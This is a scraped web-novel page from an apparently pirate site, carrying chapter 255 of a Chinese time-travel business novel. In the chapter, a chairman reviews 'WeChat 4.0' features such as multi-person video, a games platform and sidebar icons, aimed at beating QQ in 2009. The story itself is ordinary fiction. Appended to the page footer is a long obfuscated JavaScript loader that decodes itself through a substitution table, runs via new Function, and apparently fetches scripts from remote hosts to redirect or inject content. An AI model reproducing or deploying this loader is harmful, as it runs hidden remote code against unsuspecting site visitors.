首页
[切换至繁体版]
返回

第255章 微信4.0,独步全球的核心技术!

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第255章微信4.0,独步全球的核心技术!
    「董事长,10S版做出来了,五月初塞班版本的也能搞定。咱们什麽时候发布?
    」
    「不着急,下个月先发布《微信农场》2.0,等到六月初,再发布《愤怒的小鸟》。」
    「把时间错开。」
    王君山记得,前世《愤怒的小鸟》是12月份发布的,首创科技提前半年发布,足够了。
    没办法,发布早了,触屏用户太少,游戏也火不了。
    至于用键盘玩《愤怒的小鸟》,只能是低配缩水版,游戏体验差了很多。
    「好。」侯耀阳应道:「另外,未来0S版也在同步开发中。我准备再招点人,把诺基亚Maemo系统也做出来!」
    「塞班式微,这几年诺基亚的高端旗舰开始搭载全新的Maemo系统,用户质量也很高。」
    王君山摆了摆手:「诺基亚塞班系统可以做,至于Maemo系统,没多少用户,不用着急。」
    侯耀阳满是意外:「董事长不看好Maemo系统?」
    王君山意味深长道:「我是不看好诺基亚!」
    没人知道,诺基亚就像个无头苍蝇,这几年还在独立开发Maemo系统。
    下半年的N900高端旗舰,卖的比iPhone3GS都贵。
    等到明年,诺基亚就全面放弃Maemo系统,转而和英特尔合作开发MeeGo系统。
    再往后就放弃MeeGo系统,又转向微软的WP系统。
    左蹦右跳,就是没选对,最终破产都理所当然了。
    「Maemo系统现在用户没多少,没必要做。若是明年用户多了,咱们再考虑做出来。」
    「先把I0S版本做好!」
    「塞班版本也要做好,虽然塞班系统在走下坡,但在这几年,依旧是保有量最多的系统,绝不能放弃。」
    「今年《愤怒的小鸟》的主力机型,就是塞班和I0S,其他的都白费。」
    「还有未来OS版本的开发,也得跟上。」王君山嘱咐道。
    「好的,老板。」侯耀阳应道。
    王君山想得清楚,得分清主次!
    至于诺基亚那几个新系统,销量没多少,机型保有量也没多少,王君山真不打算做。
    当然,为了防止其他友商山寨抢市场,明年可以一并开发出来。
    全当给新员工练手。
    包括山寨机的JAVAme版本,也可以一并做个低配版。
    不为了赚多少钱,就是为了推广微信,为了杜绝友商抄袭!
    算是战略保护性开发。
    当然赔本是赔不了的。
    山寨机虽然用户质量不高,但是规模大,随随便便充值点,都能盈利。
    但想要像I0S端一样爆赚,就难了。
    随后,王君山又来到微信部门。
    微信研发总监陈兰洲给王君山展示了即将上线的新版本:「董事长,电脑端的微信4.0版本已经全面做好,取得了巨大升级!」
    「不仅集成了最新的《微信农场》2.0版本,还把我们收购的业务全面打通!」
    「像是PPS,天天动听,高德地图,不仅帐号登录和支付全面打通,还在微信内置了网页端的快捷入口,点击图标,通过微信内置浏览器,都能直接访问网页版。」
    「如此一来,一个微信电脑客户端,用户就能实现听音乐,看视频,刷微博,查导航,偷菜等所有操作,就能把用户彻底留住。」
    「而且都是网页版,浏览器跳转,并不会增加微信的负担,也不会很吃配置。」
    王君山点点头:「这样安排很好,生态打法,能让微信成为用户的必备软体,用户使用时长,粘性,都能大幅度提升!」
    「不过这样一来,内置的图标越来越多,排在一起,看上去也很累眼。你们怎麽解决的?」
    陈兰洲回道:「我们增加了二级页面,用户可以将部分图标收入二级页面,可以自己选择是否一级页面展示。」
    最初,微信电脑客户端左侧侧边栏内置的图标,只有消息丶通讯录丶微信钱包丶优团网图标。
    可现在成了消息丶通讯录丶朋友圈丶微信钱包丶微信农场丶优团网快捷图标丶微博快捷图标,以及此次新增的PPS网页端快捷图标丶天天动听网页端快捷图标丶高德导航网页端快捷图标。
    尤其是后续随着新业务的增加,微信作为流量入口,都得带一带这些新兄弟,那图标就越来越多了!
    这一问题,QQ和前世的微信,都曾面对过。
    陈兰洲增加二级页面的做法,就很聪明。
    将消息,通讯录,朋友圈,优团网,钱包,农场,微博,强制锁定侧边栏一级页面。
    PPS丶天天动听丶高德之类的,默认也挂在侧边栏一级页面,但支持收入二级页面!
    王君山点点头:「这很好,最核心的功能,都强制锁定。其他功能,用户经常用,就留着,不常用的,可以拖入二级页面,这样就简洁了。」
    「以后都这麽办。后续有其他新增图标,还有手机端,也一并这样处理。」
    「好的,老板!」
    陈兰洲笑道:「除此之外,我们微信4.0电脑端,还上线了微信游戏平台,并且已经引入了十三款网页游戏,棋牌,象棋,麻将,应有尽有。」
    「可以,是时候对QQ游戏大厅发起进攻了。」王君山笑道。
    陈兰洲点点头,继续道:「还新增了语音功能和一对一视频功能。并且做的比较成熟,体验上不输QQ。」
    「除此之外,您规划的多人视频功能,我们也做出了一些突破。受当下网络带宽限制,目前只能做到三人流畅视频,但在全球领域都处于比较领先的地位了————」
    「已经做出来了?」
    王君山都满是意外。
    多人视频,当下QQ2009都没做到的新功能!
    电脑端的多人视频,十年后是基本功能,但在当下,那绝对是尖端功能。
    不仅QQ做不到,国内任何一家企业,都做不到。
    没办法,2009年的网络带宽很低,视频的压缩技术,编码技术,解码技术,处理能力,架构限制等等,都很差劲,根本支撑不住流畅的多人视频。
    这就导致几年后,很容易实现的多人视频,在2009年难如登天!
    放眼全球,也只有Skype和ooVoo两大巨头可以勉强做到不算成熟的方案。
    像是Skype最多可以做到四人视频,但需要付费!
    没错,多人视频是付费的高级功能!
    最多四人,并且高度依赖每个参与者的网络带宽和电脑性能。
    很容易出现卡顿丶掉线或音画不同步的情况。
    ooVoo能做到六人视频,也需要付费,也容易卡顿。
    而QQ的多人视频,是2013年才出现的!
    可以说,在2009年,能做到多人视频,哪怕容易卡顿,那都是全球最尖端的技术了,都要付费使用,根本没法免费提供!
    四到六人的多人视频,都是尖端技术,都要付费使用。那麽当下企业的视频会议,如何实现的?
    方法简单,软体做不到,那就拼硬体。
    宝利通丶思科等公司推出的专业硬体视频会议系统,可以支持更多方接入,但需要购买昂贵的专用设备和网络租赁费用!
    基本上一个会议室的部署,就要几十万起步。
    不同地区多个会议室部署,那就是几百万起步。
    如此高的成本,与普通消费者就没关系了。
    甚至BAT大厂都不会标配。
    没办法,要标配这一套,那要再各地分部全部配置。
    成本高的吓人。
    为此,BAT等企业,往往会采取国际主流商用软体思科WebE!
    WebE是思科推出的一款基于网络的视频会议服务,稳定,安全,功能全面,支持桌面共享丶远程控制。
    收费也很高,可以包月,也可以按次按时间计费。
    像是包月,一个基础的主机号套餐,最高25人参会,就要45美金一个月。
    还要额外支付电话拨入费用。
    不是普通的电话费,而是WebE收取的高昂电话费。
    按照参加人数乘以单价计费。
    并且只有极少数人可以露脸视频,其他人都是语音参会。
    否则会卡。
    没办法,这年头带宽低,不支持太多人视频。
    WebE模式下,一年的成本能从专业视频会议系统的几百万,降到十万到几十万。
    但依旧很高。
    没错,未来免费的腾讯会议,钉钉,再这年头都是奢望,都要十万,几十万的成本。
    像是BAT,未来科技,不同地区分部和总部的高层会议,很多都是WebE模式。
    可如果微信能做到多人视频,那完全可以取代WebE,并且成本大幅度降低!
    WebE的25人视频会议,也只有三人能露脸,其他人都是语音参会。
    而微信当下三人流畅视频,其他人语音参会,也可以实现,完全可以取代Web
    E!
    哪怕收费只有WebE的一半,都能赚爆。
    若是收费只有WebE的五分之一,甚至免费,那更不得了。
    微信都得成为所有企业必备的视频会议软体,成为所有企业沟通的核心软体I
    更主要的,这一功能一旦推出,就是王炸,直接对QQ实现降维打击!
    当下社交软体的竞争,还是PC端的竞争。
    移动端刚起步,大家都做的很菜,甚至没做。
    像是QQ,移动端之前只有诺基亚版,上个月才推出I0S版,但功能十分简陋,只有基础聊天功能,图片都发不了。
    安卓明年才有希望。
    因此主要的竞争战场,还是在PC端!
    而微信最大的对手,就是PC端的QQ。
    但现实的是,微信3.0,都不是QQ2009的对手。
    只能靠着微信农场+优团网+微博,剑走偏锋,勉强取得一定的成绩。
    但依旧不如QQ2009,尤其是没有视频和语音功能,生态也远远不如。
    可一旦微信4.0发布,那就完全不同了。
    视频功能有了,语音功能有了。
    微博,PPS,天天动听,高德网页端的引入,生态也完善起来。
    再加上微信游戏平台的上线,游戏方面也能比一比了。
    但即便如此,双方依旧是五五开,甚至64开,QQ6。
    可一旦微信4.0推出多人视频,哪怕只有三人视频功能,都能弯道超车,碾压QQ了。
    没办法,这功能,在当下,太香了。
    最简单的,很多企业都会因此放弃QQ,把微信当做企业内部的第一沟通平台!
    而QQ想要追赶,都难了。
    多人视频功能,在当下都是尖端技术,没几个企业做的来。
    前世2013年QQ才推出。
    王君山体验了一番,赞不绝口:「虽然不是很完美,但能做到三人流畅视频,四人略卡顿视频,也很不错了,仅次于ooVoo!」
    「只是不到一年的时间,你们怎麽实现的?」
    诧异,非常诧异!
    微信团队做出三人视频技术,王君山都觉得不可思议。
    「董事长,这事还得从去年说起。」
    「你制定了视频通话丶语音通话丶语音对讲全面研发,要我们追赶,超越QQ
    的目标。」
    「还制定了具体的技术路线,包括多人的技术路线。」
    王君山点点头,有这回事。
    多人视频技术,受当下带宽限制和硬体限制,研发难度比三年后难了十倍。
    王君山也没办法一个人搞出来。
    但作为研发总监,他亲身经历了多人视频技术的发展,知道哪些技术路线是对的,哪些是坑。
    于是给研发团队的技术路线规划书中,详细指引了正确的路线,规避错误路线。
    这样原本两年才能做出来的多人视频,有了王君山的指点,说不定一年半就可以做出来,照样可以领先QQ三年。
    却不想,陈兰洲他们,不到一年就给整出来了。
    实在是不可思议。
    「为了尽快搞定这些技术,我和唐总监在全球范围内挖了很多人才,包括顶尖人才。」
    「有了这些人的加入,微信语音通话,一对一视频通话,都迅速突破,没有任何难度。」
    「但多人视频功能,和全球一样,都被卡住了,没多少进展。」
    「哪怕有您的技术指导路线,我们按部就班地推进,但到了中期也卡住了。」
    「甚至内部都有很多人怀疑您
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();